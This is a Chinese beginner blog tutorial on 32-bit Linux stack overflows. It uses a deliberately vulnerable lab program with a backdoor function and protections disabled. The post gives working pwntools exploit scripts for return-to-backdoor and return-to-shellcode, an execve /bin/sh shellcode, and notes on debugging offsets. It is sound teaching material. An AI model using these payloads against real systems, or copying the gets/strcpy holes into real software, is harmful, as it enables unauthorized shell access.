飞道的博客

栈溢出学习(一)

284人阅读  评论(0)

前言

栈溢出学习(一),针对一个例子,进行各种栈溢出技术的练习。

  • 本文属于新手实验难度,过程比较详细,适合新手学习

样例代码

本文使用的代码如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * compiled with:
 *  gcc    -O0     -fno-stack-protector    -no-pie     -z execstack      -m32   -g  -o lab0 lab0.c
          优化等级      关闭canary         关闭地址随机化   关闭NX      生成32位程序

 */

void shell()//backdoor
{
        printf("You got it\n");
        system("/bin/sh");
}


void hello(char* name)
{
  char buf[20];
  strcpy(buf,name);
  puts("hello!!!");
  printf("i am  %s ",buf);
}

void main(int argc,char** argv)
{
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);
  char buf[100];
  puts("*****************************************");
  puts("PWN,hello world!");
  gets(buf);
  hello(buf);

}

0x01 跳转到后门函数getshell

  • 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
  • 目标:程序跳转到预留后门函数shell()

首先patern_create 100生成长度为100的测试字符串

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

然后r执行程序,遇到等到终端输入,输入测试字符串,发生崩溃

观察到A)AA覆盖到EIP

使用pattern_offset 0x41412941确定偏移量为32

使用python生成字符串'a' * 32 + 'bbbb'进行测试

bbbb已覆盖到EIP,接下来就是寻找后门函数shell()的地址,将bbbb换为该地址

因为没有开启地址随机化,因此地址偏移不变,直接在gdb中disassemble shell查看shell()反汇编情况

找到起始地址0x08048556

应用pwntools编写脚本如下:

from pwn import *

local = True
debug = True

if local:
    io = process('./lab0')
else:
    io = remote(ip,port)

if debug:
    context.log_level = 'debug'

io.recvuntil('world!')

payload = b"a"*32 + p32(0x08048556)
io.sendline(payload)

io.interactive()

0x02 Return2shellcode

  • 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
  • 目标:在main栈上方构建shellcode

首先在exploit db上找一个合适的shellcode,注意系统架构要正确

在0x01中分析可以知道,栈上空间一共有36字节,找一个小于等于32字节的shellcode就可以了(4字节预留给EIP控制程序流)

使用的shellcode如下

/*
# Linux/x86 - execve /bin/sh shellcode (20 bytes)
# Author: Rajvardhan
# Tested on: i686 GNU/Linux
# Shellcode Length: 20

Disassembly of section .text:

08049000 <.text>:
 8049000:       31 c9                   xor    %ecx,%ecx
 8049002:       6a 0b                   push   $0xb
 8049004:       58                      pop    %eax
 8049005:       51                      push   %ecx
 8049006:       68 2f 2f 73 68          push   $0x68732f2f
 804900b:       68 2f 62 69 6e          push   $0x6e69622f
 8049010:       89 e3                   mov    %esp,%ebx
 8049012:       cd 80                   int    $0x80

===============poc by Rajvardhan=========================
*/

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
            

在进行该实验的时候遇到了两个坑(新手向)

坑1

使用常规的pattern_createpattern_offset,显然,偏移与上一节一致,均为32。其不同点在于利用预留后门时,在未开启地址随机化的前提下,可以直接通过gdb查看函数地址,将要覆盖的eip设置未预留后门函数地址即可。

return2shellcode则需要将覆盖的eip设置为栈上地址,需要调试才能找到该地址

因为上面获取到的shellcode长度为20,因此构造测试字符串a*20+b*12+c*4


在栈上“发现”了存放字符串的地址0xffffd00c,因此构造payload

shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
padding = b'\x90' * 12
payload = padding + shellcode + p32(0xffffd00c)

但是执行的时候却发现不对。

后面经过单步调试发现,
在进入hello(buf)前,stack的状态如下图,可见实际上地址0xffffd00c存放的是用户经过gets(buf)获取到的字符串

如下图,进入到hello直到执行ret之前,stack中字符串的地址为0xffffcfcc,这里存放的字符串是通过strcpy(buf,name)得来的

而执行ret之后,也就是尝试ret eip,却发现stack上的字符串地址变为0xffffd00c

这时候gdb尝试根据错误的eip跳转,之前已经做了esp的恢复工作,然后我看到的stack已经不是在hello内部的stack了

所以在这个坑点,我把地址设成了没进入hello()函数之前的字符串在栈上的地址。虽然如果地址正确,也能成功调用。但是确实是我一开始的一个误区

坑2

如果直接在gdb中调试代码的话,并且你使用绝对地址来进行定位,那么会产生相应的偏差,因为多出一个gdb的环境变量,这也是我第一次尝试的时候并没有成功的原因。

后面我使用pwntools的gdb.attach进行调试,最终找到的地址就没有问题了,exp如下

from pwn import *

local = True
debug = True

ip = '167.179.104.254'
port = 8000

shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
padding = b'\x90' * 12

if local:
    io = process('./lab1')
else:
    io = remote(ip,port)


if debug:
    context.log_level = 'debug'

io.recvuntil('world!')

#input()
gdb.attach(io)
input()

payload = padding + shellcode + p32(0xffffd08c)
io.sendline(payload)
io.interactive()

使用的时候,在弹出gdb窗口后,要在exp的窗口键入回车再继续调试

总结

本文对一个栈溢出例子使用了两种简单方法进行实验

  • 跳转到后门函数
  • return2shellcode

因为如果继续写的话篇幅过长,下一篇栈溢出学习(二)依然会继续采用别的方法对同样的例子进行实验


转载:https://blog.csdn.net/qq_35544379/article/details/104984164
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场